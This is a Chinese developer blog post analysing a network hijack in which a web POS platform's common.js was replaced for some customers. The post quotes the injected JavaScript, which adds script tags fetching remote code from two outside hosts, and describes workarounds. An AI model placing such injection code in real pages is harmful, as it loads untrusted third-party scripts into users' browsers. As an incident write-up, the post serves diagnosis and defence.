• 偷天换日:网络劫持,网页js被伪装替换。


       偷天换日

      3月12号石家庄一个客户(后面简称乙方)有几家门店,平台收银(web)有一些功能无法正常使用,平台有上千家门店在使用,到目前为止别的省份都没有此问题。远程协助发现,js日期控件无法正常调用,报js错误。日期插件用的是my97datepicker,用了这么久也没见出过什么问题。
      浏览器查看页面加载的js,发现页面本身加载的js中有重复的(随机重复),一个是common.js还有个common.js?145001231。代码中只有common.js。点开common.js?145001231发现代码没问题。再查看common.js。代码如下

    try {
        if (!document.getElementById("mck0")) {
            var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
            s1 = "http://8.525cm.com/v2/v.php?id=01";
            var ar = new Array(2);
            ar[0] = s0;
            ar[1] = s1;
            var h = document.getElementsByTagName('head').item(0);
            for (var i = 0; i < 2; ++i) {
                var sc = document.createElement("script");
                sc.type = "text/javascript";
                sc.id = "mck" + i;
                sc.src = ar[i];
                h.appendChild(sc);
            }
        }
    } catch(e) {}
    

      看到这就应该明白为什么会有common.js和common.js?145001231。

      问题找到了,怎么来的呢,先想到的是乙方操作系统有问题或内网arp欺骗。电话询问客户网络环境,得知这几个门店距离很远,不是在一起;而且每个门店使用的宽带都是单独开通的。电脑系统都是统一安装的。让乙方到隔壁店铺登录下试试,乙方找了隔壁的电脑登录后,远程协助,发现也有这个问题。(难道是运营商那边dns挟持的,感觉不太可能)

      这时候已经过去3,4个小时了,好几个门店的收银,和后台进销存无法正常使用。客户那边的经理打电话来,说找了台笔记本,用他们自己的wifi就有这个问题,用移动的4g网络就没问题。那就是网络有问题了,乙方也认同了。当时由于手上还有其他任务要忙,就暂时搁置了。

      3月30今天又得知江西南昌有个客服也遇到了同样的问题,发现问题一模一样。一家还能说是个例,第二家的出现需要将问题等级提高了,虽然不是平台的问题,但对于客户来说没法正常使用,必须要解决。

      应对方案

      1、分析代码。反其道而行,想移除添加的js。

      后来发现思路有点偏,替换的代码是直接添加一个script元素,平台中页面加载js是用document.write(<script/>),替换的js影响了原有页面的js加载顺序导致功能无法正常使用。试着在页面js文件引用改为xxx.js?123,试了下没问题了,又尝试改为xxx.js?,发现也可以,临时这么解决,把出问题的几个页面js引用修改了下。(此问题改过观察中)

      2、浏览器插件。(这个是下策)

      后续思考

      问题并没有真正解决,但是可以通过一些方法解决替换js后所带来的加载顺序问题。

      可以尝试用

      多js打包(还能减少服务器连接次数,提高性能,也要留意下IE和Firefox对同一域名进行请求的并发连接数限制),增加版本号。

      js模块化加载(requireJS类组件)。

      先写到这吧,此问题还在继续观察中...

  • 相关阅读:
    sizeof和strlen区别
    Reverse Words in a String
    删除字符串中重复的字符
    Reverse String
    数组中一个数字出现的次数超过了数组长度的一半,请找出这个数
    输出数组中大于等于左边所有数且小于等于右边所有数的元素
    java获取数据库里表的名字
    [转]C++编写Config类读取配置文件
    c# App.Config详解
    pitch yaw roll是什么
  • 原文地址:https://www.cnblogs.com/july4/p/5338681.html
Copyright © 2020-2023  润新知